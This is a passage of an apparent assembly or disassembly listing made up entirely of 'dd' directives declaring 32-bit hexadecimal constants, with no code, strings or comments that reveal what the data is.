25341A9Ch, 11210D06h, 3095854Bh, 6F372B87h dd 0DB43FB8Ah, 6B07761Ch, 7EF0C74Dh, 959AADA7h, 1D5C992Fh dd 14536C86h, 0F2C0C1A6h, 0FBD1040Bh, 0AD011A63h, 0ABB3A1ECh dd 0A4653E6Dh, 16734041h, 87C0983Fh, 58CE1424h, 0D73952h dd 44040EFCh, 0B7CAE62Eh, 0BEFDC9C2h, 3B096C88h, 1F99A760h dd 8F799F0h, 7D288AE1h, 8843CC5Ch, 0E9AC21h, 972EE342h dd 92A44AEEh, 0A3CE213Fh, 2E5CC09h, 1FE1C5BBh, 0E2DDAEEAh dd 2E199559h, 0B66769CBh, 0C339130Eh, 0D4A1B2B6h, 0A72E4EF3h dd 0B1FC51F3h, 0C7F24DF5h, 99503A22h, 3D7F8613h, 0C3951C4Fh dd 43092D22h, 618964B4h, 7AD6DDA5h, 0DF1D73BAh, 0D2B8DAC0h dd 0F570FBFDh, 27D53BBBh, 0D6E5F09Ch, 7C19D581h, 0B304397Ch dd 0CD9A3B7Bh, 0B74FEFD0h, 0E1446E3Ah, 6B0340Bh, 0CEDE7D59h dd 0C016571h, 527A39E2h, 35DF27h, 3D765781h, 0C473FE1Dh dd 4C4D1215h, 9FCB2152h, 0CE1FDFE8h, 3092BC8Fh, 8F58E760h dd 211BB851h, 0EF1271E8h, 202DB9DAh, 5EA14517h, 1C9D1DA3h dd 0B6F9BABDh, 0A578C9B6h, 0A2B3D4B5h, 0B01D76C6h, 67D41BB6h dd 12A78481h, 882404E2h, 0BCA92946h, 6B82D388h, 1013562Fh dd 809BECA3h, 0DD87528h, 6F5F6E19h, 6107DC85h, 0EE39BDBFh dd 0B16F2A84h, 679BE370h, 0A847B993h, 46D8B4ABh, 0FD1AF716h dd 0CDF1FC07h, 0F6482253h, 5E073233h, 77DB8654h, 2683E851h dd 92EB1533h, 776EC5CDh, 0ADE16153h, 517711D8h, 0BC17D14Ch dd 56AE9531h, 0E6C5FA38h, 5C63584Dh, 23BE2060h, 0E7DF5655h dd 8A870D8Ah, 94310Eh, 32C00EC6h, 0C6A63274h, 0BEB127E8h dd 63CF77D1h, 0E81AB9D3h, 9D78389Fh, 0F58F2710h, 2262DF78h dd 6B8DE5AFh, 0D7169D22h, 646887B0h, 731B5FCDh, 0CC8DC719h dd 5E346F59h, 8EE2BBCBh, 0D57BDE58h, 2E4553h, 0B84C6759h dd 0DAE1D5D3h, 13FDC630h, 0B351103Fh, 0BB133C3Fh, 818F1FC5h dd 920B082Eh, 0CC45725Fh, 20FF62F8h, 0B14BE135h, 0CD325234h dd 16C241B8h, 0BB0A34E2h, 0B1A1BAF8h, 0B2DE0B25h, 8D6B5B6Ch dd 0FDC006Bh, 0EE02BBCEh, 0D988A711h, 3C844DDCh, 58EB4B7Eh dd 0E68DE2C9h, 2DA03BCh, 9790C677h, 898903F5h, 0B47EB222h dd 1D946148h, 7ADB7A40h dd 52ADAB21h, 82E96E65h, 0F49A28A0h, 0F4E061DDh, 2D74E485h dd 60F1FB55h, 0C29851E2h, 678FBFE5h, 8ACD3516h, 262DE8EEh dd 0DF85FC5Ch, 0A5CDAB6Eh, 0D44F0CEEh, 525B90Bh, 32DAC964h dd 249925B8h, 14E9B494h, 40E11EF4h, 0D9D6886Eh, 0F99F0388h dd 130F5E2Eh, 1377A352h, 0C353A92Fh, 9BA860C8h, 36EBB1E3h dd 0DF8CA10h, 0D65DED48h, 5911348Bh, 2F7B0DE7h, 9FA20740h dd 3E9D26D4h, 71B70915h, 7110D82Bh, 4035051Fh, 40BB5D9Ch dd 161F7ABAh, 0CEAA12C9h, 7FFA63E3h, 2F71BEB4h, 680597DFh dd 5978F4EEh, 0E9884426h, 0EB921643h, 4BCBD2D0h, 95DE35D9h dd 1DCE9DC6h, 3792DC1Dh, 0F92D2F5Bh, 6274B655h, 0A292D842h dd 10275B2Ch, 98029836h, 193000BCh, 0D6F74FFAh, 90411F44h dd 8B50510Bh, 9FA099D6h, 0C2323690h, 798D9179h, 0C84A374Ch dd 19880EEDh, 0DC3053h, 64E39A77h, 5F64FCD6h, 6F4608F9h dd 0AF478D5Ah, 25DE6D49h, 0D673E07Dh, 7EBAE412h, 7B449740h dd 87D38D87h, 87A74Eh, 907C20BBh, 5BA0AC00h, 0A78C025Fh dd 412FA7ABh, 0DF0521DCh, 670C285Dh, 0DC951F47h, 0AF04AE9Eh dd 0FD952C4h, 865445C0h, 0EFB9441Ch, 0BDB4B266h, 4B29EB41h dd 67387C74h, 6DA8521h, 8B4C79D5h, 0FFBBD3BAh, 0FF28CBE9h dd 2E605BBBh, 95BF59A7h, 2CCC0F04h, 0F1D5A594h, 0FED9DF15h dd 0C136E521h, 0E907AE56h, 0DF61E781h, 7549B189h, 0D35B2788h dd 863B4BF5h, 1A915E50h, 0ABA11342h, 5284351Ch, 445E2F25h dd 69040C99h, 740A436Ah, 3B23B44Dh, 0DB8D26B5h, 88B7578Dh dd 537276EAh, 0F04CD24Bh, 0BC4895A5h, 42152B9h, 0C897ED97h dd 23F57A65h, 2592C2C2h, 284C6F78h, 9E235B0Fh, 0CB403B18h dd 0EB7EFB14h, 3C8FB7F2h, 161E111Fh, 94A72FDEh, 1E395EA1h dd 11A96F7Ah, 6785E110h, 9214AB25h, 35D7880Eh, 0D8F03501h dd 5F94C19Ah, 0C3FD60EDh, 3ED3F319h, 7E668513h, 0F1340F1Ch dd 0ACF13142h, 0DF3FA3BFh, 2A6F54A7h, 61B6242Eh, 1DB1BFE2h dd 0DF6054EFh, 41CD27F1h, 75F449AAh, 0FAD0CA09h, 67CB8C7Ch dd 6F48E9Eh, 4529304Ah, 0FFA25122h, 0CCAA729Dh, 0F9E8E173h dd 22DED9EEh, 0C514AD87h, 29317161h, 2B0B0061h, 7C24CF64h dd 26312FE8h, 0C0C71DEBh, 9DF23934h, 0C01447B0h, 0C48C688Eh dd 0C0DAE4BDh, 81E420B9h, 840B71FCh, 7EB8FCD4h, 98BB7A4Ah dd 85CF26F1h, 96427E91h, 9E6AFCC9h, 0E996479Bh, 0A4029041h dd 0FE7CBED0h, 0E446C5EEh, 7F85170Ah, 0CAC99A5Fh, 58BF6B79h dd 200A5DEh, 76CDD0CBh, 0FA8A6469h, 26993A9Dh, 0AA538861h dd 4E1274C1h, 3269B6F5h, 345F8BBEh, 210DEABEh, 15DFFF86h dd 60ABC01Dh, 0D045ACB9h, 46810B93h, 30101450h, 0F16C67CBh dd 0AE28D7CFh, 0A514F3CBh, 0F3A38A52h, 39E7E217h, 8B53431Ch dd 0FD548F58h, 236D7478h, 58ED3354h, 0EE19A168h, 4FC92EF8h dd 0AD544A00h, 16335533h, 8013A60h, 0E5560CD7h, 24E1F220h dd 0E629EA6h, 0EA031D7Ch, 0F1A2504Ch, 23DF5D6Fh, 54E7DFDCh dd 1757A0AFh, 4F63298Ah, 3D1066C7h, 0CF69B03h, 0BEFE95C3h dd 778316D2h, 0ADADC43h, 0E62A0E41h, 0FA0A0055h, 0A15297CEh dd 18C20D2h, 64694334h, 618ECF5Ch, 91587326h, 0D32592A4h dd 681F62F4h, 6A6945D3h, 0D47DCBB8h, 7ECA2AFFh, 4C5687Ah dd 82E74029h, 0FC527A5Dh, 7D01BDDFh, 0F7B2B7A8h, 1B9B5BE2h dd 11FB0ADBh, 335BC8FFh, 354EFDFh, 0DFEE2339h, 184C7116h dd 2AF97F8Dh, 1AC682D2h, 7A872998h, 0E69266C8h, 8F19DB6Ah dd 380DCAECh, 416D6B1Bh, 0A4511B0Ah, 9D1C8901h, 94EBB93Ah dd 0F5FC3E15h, 0B857EF79h, 6CBFA22Eh, 619F344h, 1266F5B2h dd 4D933035h, 8F41FC81h, 0E4812643h, 91E9DF03h, 213C4155h dd 0E7489A99h, 3F79EFB6h, 577824DCh, 9467672Bh, 60091EF4h dd 0DF9B7C87h, 6E1EB35Ch, 0DEDCF3D6h, 5B59D063h, 8ED59C9Eh dd 6357B5F4h, 7C700452h, 3EB1D124h, 6C8AE0DAh, 0E3D8C4F7h dd 0CFAD9F74h, 1AC5309h, 62BFD726h, 0D66BD5B8h, 84AD9377h dd 49A06170h, 0CCE273F7h, 0CD3329DAh, 0B9D6622Eh, 1DC69C69h dd 80EDFEA1h, 6254A89Dh, 0DE071C9h, 6BF66A24h, 0AE52F259h dd 0AD370670h, 0E14DF94Fh, 847C77A0h, 0C0F3A53Bh, 0A1567C5h dd 94ABB338h, 0C4291455h, 21D308E5h, 0D3CD3C72h, 8B49D202h dd 99B6B664h, 883C7842h, 8589A0ABh, 397773B6h, 4BA2EC6h dd 97D4460Ah, 5BE8041Ah, 0BA26AD61h, 0EA5D9AC4h, 7EE0BEBBh dd 7597C959h, 2C434ED9h, 0D3D66B95h, 856B2BE2h, 0FBEDDD98h dd 0F27A731Ah, 884EC77Ah, 5336D008h, 0C30202D6h, 0DFA03A1Ch dd 67F459F8h, 9F7EC14h, 0CE1806F8h, 0D41424C4h, 0E44EC309h dd 0F0CE124Ch, 0EBB6A8D9h, 6E65D0BEh, 0EEBCE031h, 0D1278FABh dd 0C6A9A710h, 54F71E76h, 5A2E639h, 970B103Fh, 5744BD89h dd 9EC069E2h, 6BC97238h, 953C3D72h, 209E9C04h, 0B153F3E2h dd 3F99C8ADh, 6FF1F673h, 0D284CB5Bh, 4EF926A4h, 0B506F0DFh dd 0CB395300h, 813F8A6h, 9A19042Bh, 9F38F91Ah, 0AA1A203Ah dd 0FC15D72Ch, 6C1EC190h, 5B811F6Eh, 0BB5049D2h, 3F65A33Fh dd 9F66B33Ah, 6D651E10h, 0D019BC2Ah, 0A6974842h, 5D8EEDE6h dd 0B946B5F9h, 91782575h, 0B0604469h, 0CA23B6AAh, 3F525A05h dd 58E94F21h, 8B73A06Fh, 4B28241Ch, 5B9017C1h, 8CA4FC2Fh dd 566AA8F6h, 0A6B39C4Bh, 0DC7420F8h, 0ABAB682Eh, 0D293DCB3h dd 0BFAD6D60h, 0D7A516A1h, 5B258342h, 0F03B6769h, 0CCB211E6h dd 0BFC72729h, 628CBA11h, 6693EAABh, 210EB5Dh, 9598D626h dd 0CABA1A0Dh, 0F2CE9CC7h, 0A982D154h, 0F410F9D9h, 6B4B7ABAh dd 4D06ECF1h, 2BA751C6h, 2EFB3015h, 39270789h, 0A63B088h dd 0A90F2F0Fh, 5F8805E2h, 0CF66FA12h, 4E293DB4h, 46E17C52h dd 8ABF9EDAh, 68B348C5h, 20C273E1h, 605D40E9h, 8AEF2E3Ch dd 0ED5E1D77h, 8DA45E52h, 99D566C8h, 0F7E10844h, 36BD5634h dd 4D0C8775h, 59C04F5Ah, 0C7642A4h, 2BB62E14h, 2141ECB4h dd 75112514h, 34757611h, 38D495EFh, 0F4515E1Eh, 0EFEFB35Bh dd 0A5352B9Dh, 0A721F490h, 2438227Dh, 55EA78D8h, 2AB64EFBh dd 0F2D8822Ch, 0AE9F6209h, 2482CC8Ch, 93BE7BBDh, 9F501B24h dd 0FD6E7B20h, 0A0A05ED5h, 2268EBD2h, 0DA7833CAh, 0DC9508C7h dd 0A08190D4h, 0F4075B20h, 0F9A49A43h, 6A03C44Ah, 240058E4h dd 70C6DF1Dh, 6A89857Ch, 111B3511h, 6F743AB4h, 0C78D0913h dd 0F46C501Ch, 0CBFE3283h, 0CC9C34E0h, 718E392Eh, 0A9D6F169h dd 0E3861D07h, 0C8A4E703h, 4719E400h, 1E6A2F4Bh, 4F37B570h dd 47E54A43h, 763C30BBh, 2B285C45h, 88D913C0h, 47F41615h dd 4526B056h, 0E308D698h, 0FFBD72FCh, 6EF08570h, 7BEB9CDBh dd 0EC4EBBBh, 50488CC2h, 0C443DD86h, 0D54B9019h, 8D906F9Eh dd 8269E2EAh, 0CF5A0A4Fh, 1C7B601Dh, 11A655ACh, 0B7351840h dd 213E0h, 40CF4887h, 0D52097BDh, 7BE4D744h, 0A006EDC4h dd 75300460h, 13606E91h, 10CA3083h, 0F49EDF28h, 850DFE1Ch dd 48E27286h, 0B5D5CE45h, 2AAB3DC5h, 416DD607h, 0B8AB5F69h dd 971BF208h, 955520E8h, 679F8D7Ah, 64B70FF7h, 0F1CD582Ch dd 0B1C4E396h, 0D8F157C8h, 14B63B4h, 0F6FC34F2h, 9227CEA2h dd 0DCAA22D8h, 0CD85E45Ch, 1346AC5Ch, 0CE0B90E8h, 126C65BAh dd 0F0234A96h, 0C2837811h, 0DADB0126h, 0E7A2A3E0h, 4F3AF9Eh dd 0E0F6CC2Bh, 0E8E04C46h dd 0F0432115h, 0D47604D4h, 1FF0C1B8h, 7219D6EEh, 0E476EEA2h dd 0EAF12965h, 90E16D99h, 565194B0h, 3F369623h, 0DE1DD94h dd 0D8C56F05h, 0F8231547h, 6284EF5Bh, 699CE86h, 6CAE401Bh dd 0EDA69595h, 723C1D30h, 0E53570B8h, 0AA12DF1Dh, 87CDF358h dd 0B888AC51h, 4A387CACh, 0A8032A0Ch, 340205DFh, 0F376417h dd 80F8EC01h, 0ECF91A03h, 308E48AEh, 1414E5E1h, 5E5FD50Bh dd 638AC839h, 0E5D5038Fh, 0DAE6D355h, 0C5B616DBh, 421D6253h dd 7CBBEAE8h, 7AA0496Bh, 49654C47h, 64ABD2ADh, 442E26D3h dd 0E3BE15A4h, 614C6410h, 0C220166Ah, 9F46D610h, 0B29DF611h dd 0CB82AB05h, 0F4638995h, 94834CB3h, 0C9CE63EAh, 77555ECDh dd 0BC0ACDA0h, 59005232h, 0AA08BA49h, 42E894C9h, 0BE4A8D50h dd 0A2FFBCB8h, 82E4F3C2h, 87EB5BD5h, 92374977h, 12FC2A91h dd 47E5EDB7h, 2121535Ah, 29454F15h, 1DDB7752h, 0C7039DEFh dd 0C883A307h, 40D04EF2h, 9E80B602h, 0C64BD5ECh, 61BD5063h dd 22E6D801h, 0A3F48C31h, 8E31A00Fh, 3084485Ah, 5F4E7A7Dh dd 0CE8A3EA0h, 0C8BAE639h, 7DA8AD17h, 0DE6FB3F9h, 2F15BE76h dd 0A6F8336Bh, 6E4A8E2Fh, 20E69D1Ch, 465E59C3h, 550A0C8Eh dd 0D271B53Eh, 948BBBEEh, 38DFB8B5h, 89219873h, 10F5C824h dd 841C8DAh, 0BC3C4856h, 0E8D54435h, 0C8BF8F69h, 7A836296h dd 91AB19DFh, 20651CFAh, 697C1550h, 24151131h, 6DD03F43h dd 6581CFC9h, 0D09E811Bh, 59855A04h, 0A4426A50h, 3F6695B7h dd 0BAF78FE5h, 0D529B9EAh, 13E88625h, 50043A1Ah, 1FA712AAh dd 9567B1B9h, 0D8FD3827h, 0B6377685h, 0C094E10Eh, 20DD27B0h dd 0C0F937BCh, 1EC4861Dh, 0E258120Fh, 0A2E4E509h, 0BF12E28h dd 620A9A27h, 73BBF926h, 0B8859A3Fh, 0E0DC7C1Fh, 22EF0E32h dd 78A9233Eh, 345F78A3h, 75E18A39h, 20782A0Ah, 7B054EBAh dd 0F3F5CE0Bh, 0DD1973E9h, 0B28D6949h, 43911232h, 26E69647h dd 5C413D4Eh, 809A4D1h, 0FC99DEB2h, 0E69442EFh, 710FA023h dd 582C66ACh, 46F0E2ABh, 2DC94DC7h, 5B12D23Bh, 0D9092064h dd 6D01B61Bh, 0FFB42108h, 863AEE3h, 0C143F673h, 7B2B2355h dd 492855E5h, 0EFBEF6E8h, 24C10F3Ch, 0FD141BC6h, 0EE20339Fh dd 0DBB802F8h, 950B156Bh, 4EDE48D2h, 8FAC9B1Eh, 95D83823h dd 0ECC4A61Ah, 8B8EAC65h, 0FAAD6FB2h, 83ED3B34h, 711C503h dd 8A1136E2h, 5E1C88E4h, 67909E49h, 76DE813Ah, 103B4C8Bh dd 0C09FA4E7h, 0C357881Dh, 4BAE0F6Dh, 0A12B8F97h, 0F8E721F6h dd 0A591FC40h, 0E2D34CEFh, 0A94DB58Fh, 78803D50h, 0B911D93Eh dd 633F4B37h, 4C852CB4h, 77F1A3BDh, 233D08DDh, 41666581h dd 0C23D8899h, 0D48FCC12h, 0D25C1D07h, 0A04C4B56h, 4119F6A6h dd 0A3357ABFh, 944E678Ch, 0AE8F9CBEh, 7D5C4460h, 72406F75h dd 82B5D01Ch, 0F3ABBCEFh, 2C98CC8Fh, 0BCBF8FD1h, 0F5DBF368h dd 83285426h, 6BF3F97Ah, 0E110EBD8h, 4A69AC62h, 0D4EAFD09h dd 0B75BD5E7h, 9B5607C0h, 43613D1Dh, 8A27DA81h, 0DA4F8FA5h dd 0C23B86B6h, 1112F700h, 0CC7CEFDBh, 0ED788F2Fh, 81BB5522h dd 0F2012921h, 59207D1h, 0A48E1508h, 0DFDEACDCh, 0ED6C632h dd 8BA93EC7h, 0BDBB6D23h, 7D2A7F1Bh, 3E378181h, 42EDE2C3h dd 516EFB5Fh, 7E7DD24Ah, 0FAC6CEB4h, 6BCEA21Bh, 7991933Ah dd 0E675AD1Eh, 0C0F02620h, 4A508572h, 469B1BFEh, 120F978Ch dd 2AC69700h, 0DFC7589Fh, 0EC61603Bh, 3082976Ch, 2BDD4E7Ah dd 0D6F74F1Ah, 7DADC047h, 0D356E838h, 0C1C8D7A3h, 83651B56h dd 6E6E85E7h, 5DFC6662h, 0CB76CA25h, 3C433E9Ah, 0ACAAD06Eh dd 1E35A374h, 94ABEBA3h, 1F7C16B6h, 0B1D50AD4h, 0DE91A7E7h dd 476C60F9h, 0ECEF3FFEh, 1AAC4F28h, 7F2220E0h, 96CAA823h dd 5BA575C2h, 4EE18354h, 90962B98h, 0B2387F25h, 0E28A8386h dd 0BA44046Eh, 0BA6752Ah, 6B52D61h, 11A1B010h, 5F8A1782h dd 58C3E914h, 0DFBBD2C6h, 0C47863A6h, 0C65745CAh, 0C2E1C90Dh dd 0F9BDFEFh, 385D7175h, 60DA6033h, 0EF48CF8Bh, 5FCEAB1Eh dd 0B1CCCD6Ah, 7626041Ch, 0A36A7AF5h, 38EE49DAh, 50F137B8h dd 0B55F3FAAh, 0F9826AAFh, 0A9817BCEh, 0D20840C4h, 0A5AE967Dh dd 0B075B816h, 1CB9D116h, 0A20A7948h, 80955D60h, 0CFD110BAh dd 765E3594h, 0AE2F161Eh, 0C86208B0h, 7F59E56h, 0AC79D00h dd 7AC0BA78h, 1B1E792Eh, 0C7DBECAEh, 0A193DAB7h, 40CE9805h dd 394D1B2Ch, 0E3364F3Ch, 0F1B948DFh, 5A5028F2h, 0EF1073F6h dd 0AFDAF62Dh, 77329D78h, 319795F8h, 66F9310Bh, 0ABC63904h dd 1706AAh, 35ED7056h, 0E0524C99h, 9D40029Ch, 133213CAh dd 0BD7A38C2h, 2545AC9Bh, 8E15880h, 3BF23300h, 0E93F406Dh dd 1FD6AC9h, 0B2AE0BE3h, 6758AED4h, 28C5D0E5h, 6879E009h dd 0F26EF4EDh, 1F76E7h, 57481C6h, 1DA48070h, 0B783490Eh dd 0C4F449C0h, 7DD31262h, 0EFA1EDA4h, 80608A92h, 72C9433Bh dd 0C0D7BABFh, 0C5243673h, 0D1501217h, 36CF1CDAh, 980DB634h dd 0E487A397h, 0FB6EA14Ah, 12332072h, 69AE3941h, 9F378F60h dd 9B20CB33h, 7B50648h, 964CA9E1h, 8F7C919Ch, 91D8CB79h dd 747EE57Ah, 94F44EECh, 635749DFh, 48530CDAh, 85B1822Eh dd 0A08973DAh, 38EA75D8h, 141C591Ch, 491EA69h, 0F6170A7Eh dd 0FE99D27h, 609721BFh, 0B09E907Dh, 1277B2B6h, 71628C06h dd 0EA85EADCh, 0B109F6CEh, 924C1501h, 0A26E52FDh, 51CA033Bh dd 9C4AB3C1h, 0F0447001h, 95F5BA65h, 63577C57h, 0BA904561h dd 5E237DCCh, 13CD3BBCh, 1992241Dh, 357C590Dh, 35DCA81Bh dd 18706E08h, 110CE8FFh, 5627DB4Fh, 9FDB4097h, 3E807598h dd 0F243392Bh, 0CAB13509h, 96B0456Eh, 7A6E22D1h, 6D42C950h dd 4974CA53h, 0DC32059Eh, 22B48DD7h, 11E00A8Ch, 94DA134h dd 0DFB9783Ch, 9165B67Fh, 24742E04h, 0F4E874AEh, 79B9B957h dd 0A768D356h, 0A786338Bh, 0A3085C26h, 45898692h, 3A925459h dd 680DC508h, 4B9C7B52h, 0F8419CF5h, 71BF8ED8h, 4AAEF878h dd 92F26E58h, 0C75F6230h, 452B2C02h, 7B641DD0h, 83AF9BA4h dd 24B86D30h, 0BEEEBFACh, 425C4DAEh, 0CEECD50Bh, 103D36E6h dd 24A1B30h, 351DE0C6h, 8B19CA5h, 0FF5B47B9h, 1B6D5BC4h dd 198C38DDh, 1466939Eh, 0D099A102h, 4B6803B3h, 4A053254h dd 0FA5A5F95h, 953852F3h, 6F7D45A5h, 2A60E650h, 0E27947Eh dd 0E3432F95h, 12B792B8h, 4A841B6h, 40A25841h, 411A5293h dd 0E7837511h, 579177D2h, 3A7A6E18h, 0EAF0AFD5h, 7D8AA130h dd 0E303938Fh, 0CDB68D6h, 0AE10157h, 22B57B1Ch, 59AED8FDh dd 9321B394h, 9F634B9Ch, 0E39E652Bh, 5E8EC948h, 3E4FFB82h dd 0B95AF119h, 8F50DBF1h, 0DC3B4545h, 97ADC724h, 54FD9761h dd 9F32872h, 0C168D061h, 6C061B75h, 6B3B3DE2h, 6B9750CBh dd 0ED8B4562h, 229707E2h, 0B3C3D11Ah, 0DF3E43D5h, 0C602F034h dd 0F2839CBh, 1B50A451h, 2F6CAEC7h, 1F519726h, 0B7B7E850h dd 0BABFDE7Eh, 7A85DEF5h, 56C85C56h, 0AF92E23h, 0E16806FEh dd 3E933915h, 0D2397A35h, 0F2DD7DAh, 33C1653Eh, 0F103818Bh dd 217D1BE1h, 316A0822h, 9CD4FEA8h, 5D6DF3CEh, 0EA8A6DF6h dd 9D9F9836h, 51ADF6BEh, 579AD0A6h, 91C4A18Ah, 6AAB4A3Eh dd 0E59EB567h, 3F75D5DBh, 0AD592BDFh, 83045E5Bh, 127E3899h dd 4DED021Dh, 0FC68873Dh, 636536AFh, 0DED2D7F7h, 35F41D22h dd 0DCB744Fh, 0BCF61FEFh dd 0D1ECB98Ch, 92CBD6C1h, 0B0B533B6h, 6290937Bh, 89CD9A09h dd 40C8C18Fh, 6A9C2FF0h, 0CFE364ADh, 0E872C823h, 4C9521F0h dd 3EB05ADFh, 43A05364h, 55D30465h, 55B08537h, 6F672283h dd 3253B95Fh, 3C6FED60h, 1616100Ch, 72A69501h, 612930D2h dd 0CAC23D56h, 69D4AB8Ch, 909F8434h, 38F5EF3Eh, 0D32C0C73h dd 0B78B892Dh, 0B4D33D10h, 0EAD04001h, 0B480506Ah, 4FDFD9DAh dd 0D7DB342Fh, 3ED68431h, 0E09F1399h, 78E7CDCDh, 9403B188h dd 9331A9D7h, 0C0399260h, 4E535BA4h, 0CBC7044Ah, 4FFA21CFh dd 8D218BA1h, 86483391h, 0E9ECFA83h, 0EFDB1C9Bh, 6AB3BA34h dd 6C0BFA33h, 0F1B35E31h, 9C128822h, 6083D84Ah, 89A60A35h dd 0B30D4E39h, 28D717EAh, 72D5145Bh, 0A31DC05Ch, 438DEE03h dd 424583CBh, 9FC3AD05h, 0F2831029h, 7D173709h, 0E56E5737h dd 2B4652FBh, 71E67FA8h, 0EB174631h, 6AACB179h, 75D7B288h dd 18D137A8h, 843ECAA0h, 0FC8D824Eh, 8739E73Eh, 3F993D71h dd 0DBAB965Dh, 0B9E6AEA6h, 6BEF3A0Dh, 6F978F67h, 0F048757Dh dd 0F402F870h, 67966CDh, 0FC6CAD3Dh, 1988078Bh, 0AE85D137h dd 0B02F532h, 0F101541Fh, 0E00016EEh, 0C5FEF434h, 0F43251CEh dd 173B141Bh, 3232366Ch, 87A3998Fh, 8DBF6537h, 0C94D4A0Ah dd 295785DBh, 0B0EB123Ch, 4359C1C2h, 0A713D332h, 8D691A2Fh dd 4A7B0573h, 8F623FAAh, 0A28457BEh, 6AA4C3F9h, 3D372E2Ch dd 3461B81Fh, 657FEC2h, 34AA7960h, 741C7E42h, 23128233h dd 3A47CFE3h, 3B11F84Fh, 0D62E0EE0h, 0EC48B28Bh, 6D0A69DBh dd 0A1DA0FF3h, 13E45BFCh, 6E9B68C0h, 583C6DD4h, 3C4E156Dh dd 4C2518CFh, 163F261Fh, 0F5387B5Ch, 0E1E8FAF7h, 0C0177390h dd 6FA9CC4Fh, 0C319C3DCh, 0C93E5776h, 962D98EDh, 5B03AEE0h dd 92BA5695h, 394F38FCh, 0C889EA17h, 78FAD05Eh, 0BA2B59C5h dd 726C205Ah, 5B6A3C5Ch, 0A5CFCC2Ch, 0A80A8FCDh, 0AAE61B8h dd 0C7BB8DFEh, 7FAD09F1h, 22AEEAEAh, 3274AA76h, 0ACCBBFDFh dd 0B0E0F4BFh, 7C7C98D1h, 35D094BFh, 83C99FA8h, 0E0271BDFh dd 18A7AC4Ch, 0ACF68A2Ch, 27EC7316h, 874B786Eh, 0C1CE8600h dd 2907E767h, 1AED801Dh, 1F03BA66h, 57BC83EBh, 2EB6FF37h dd 3C87E3B2h, 72246565h, 0D09B0888h, 0F56EFD7Eh, 9D799941h dd 976C2E09h, 8FBC2477h, 0FD9D3C95h, 0AD9023CDh, 0FD1A562Ch dd 655FDFh, 284AACE8h, 0EAEAA545h, 4DDCF049h, 0C5726515h dd 6D85A766h, 92AB4D71h, 396337BBh, 4F8A07BAh, 0A946ACFh dd 0A84D8700h, 535CC82Bh, 2277E920h, 0D5ADED92h, 0ED146617h dd 0AA0DFA30h, 0CAC46EC8h, 0FC217471h, 6508A232h, 0B373985Eh dd 0A8076AA3h, 44E69DDFh, 9D1D5301h, 6B1A1D16h, 0F18FF759h dd 9D0F07FBh, 41F75AB4h, 24CF668Fh, 4CDF5DD9h, 5413BEh dd 0FC995684h, 8961FEDFh, 5132479Bh, 156C8357h, 0F203D35Ch dd 955539B4h, 60863FF7h, 11B75FCEh, 6E3B2668h, 0A78DDA48h dd 0FB6918F4h, 0B190A18h, 8F1D427Fh, 0F1F981FAh, 55708A98h dd 0CAEF7492h, 3E9B756Ah, 0BDC89B68h, 518C13FDh, 0F664BA55h dd 369D7576h, 0F6978479h, 87AAA38Dh, 0C30D76C0h, 512A6EE4h dd 0DA1DAC3h, 0D2E17134h, 9C02094Ch, 79314EADh, 68AD5C44h dd 0A1C3F771h, 0ADACEF2h, 82DFB60Bh, 71EBF399h, 940505DCh dd 987057B4h, 0CCCE468Eh, 8067BDA8h, 81C10A46h, 0B14F247Bh dd 235FEDECh, 4B22EE92h, 43082DF2h, 0F64B8B71h, 0BB3D06C6h dd 6A2252DFh, 0BA743976h, 82089325h, 2A810AA3h, 0E68E802Ch dd 0FDCE94Ch, 8C0A43D7h, 0CE06048h, 0BE66309Eh, 9E2ADEF3h dd 54196562h, 0F30C1291h, 43663309h, 6D9C12D9h, 0C22AF512h dd 126D3D38h, 595208D6h, 33F6FE1Ah, 0AEAABAAh, 34F95958h dd 28D06349h, 4984E2C7h, 0A8C87254h, 0D65D9BCh, 0E7B864AEh dd 77D6F86Eh, 0D8520DFDh, 67430D9Fh, 0FBFF7F2Dh, 0F2A54D77h dd 64DE70Bh, 20EF7240h, 0EC479E22h, 3AF027A3h, 0DF86453Ah dd 35056715h, 73E404D5h, 3832B33Ah, 0F27D8144h, 9E1AC83Ah dd 0E623E20Fh, 0B3707EA1h, 6B26964h, 4CDADB83h, 86FA0045h dd 11D0ED34h, 0DC0670E9h, 0CFB226E9h, 0FED8347Eh, 0D5FE775Bh dd 7BD01687h, 0B1786CF4h, 0C370F998h, 9FEFA33Ch, 0ADE26859h dd 26A017CFh, 3511A0DCh, 0AEC15554h, 82B95DE4h, 0F00F6404h dd 0FC94C1DCh, 68246221h, 0C1591DC4h, 740703DEh, 89F850D3h dd 0FFDBCB24h, 0C5C5A395h, 0A98226A9h, 39C93DABh, 29DDCA20h dd 75B53A9Fh, 8D95ECFDh, 32127F09h, 0B5950837h, 763EAEAh dd 82EAE31Ch, 0AD9FA17Eh, 0FF642634h, 0D5FB3D8Eh, 9709B142h dd 99E9D85h, 40E3DCCBh, 0AFD3EB2Eh, 0E1997552h, 0FFE5706Bh dd 1C129C21h, 0B7C228F5h, 0E9A1BE0Ch, 0DC4C9E8Dh, 0E99E6DF5h dd 0A65F6DA4h, 4162952Bh, 0F046B160h, 3710A960h, 7374A8h dd 7172ACAh, 0FE855FBCh, 2DB9E6DDh, 0A7767783h, 36B69F4Fh dd 0D4A1AFB8h, 855FEE8Fh, 0BBBEE554h, 85828EFFh, 0D589C3Dh dd 16682078h, 0CB91246h, 0CD94ABBAh, 6D17AD18h, 5D5EF86Ah dd 0AEDF07C1h, 0FAF0D2E6h, 0E1B7C7D7h, 0E2845B9Dh, 545664DFh dd 0D237CEBCh, 51B48D03h, 75D52B8Ch, 0E4F28BBFh, 546B5673h dd 6C8351BEh, 15FC2D26h, 0A80BB7DBh, 348D482Ch, 2C81B0DCh dd 0C9E67FF3h, 0BCC2B95Fh, 0F2E61C35h, 0BC10F5DCh, 0B2EDEB1Eh dd 21362C0Dh, 9C075E5Ah, 38049D1h, 0A04B0571h, 0FF3DB70Eh dd 7679966Ah, 36D3AD4Ch, 0C80C463Ah, 0B520E192h, 18E932F0h dd 2F4A8562h, 88A436D4h, 0ABE0C975h, 87DEA5AFh, 0F82A754Ah dd 509175C7h, 9F4BE87Dh, 23EA79BAh, 1900ACEh, 456C06F2h dd 27A3C2BAh, 77DAFDFCh, 0EFA0100Eh, 7631B626h, 67D04CD6h dd 0C6BC2BACh, 0EB4D601Eh, 74726575h, 5E9472C7h, 61D13241h dd 23B1855Fh, 7F3EEA10h, 0C5E7C909h, 2A04F88Dh, 361A6894h dd 67CE6AD3h, 0F27AEFDDh, 0E47D458Dh, 66FDA3A1h, 509A302h dd 0AF6DE21Fh, 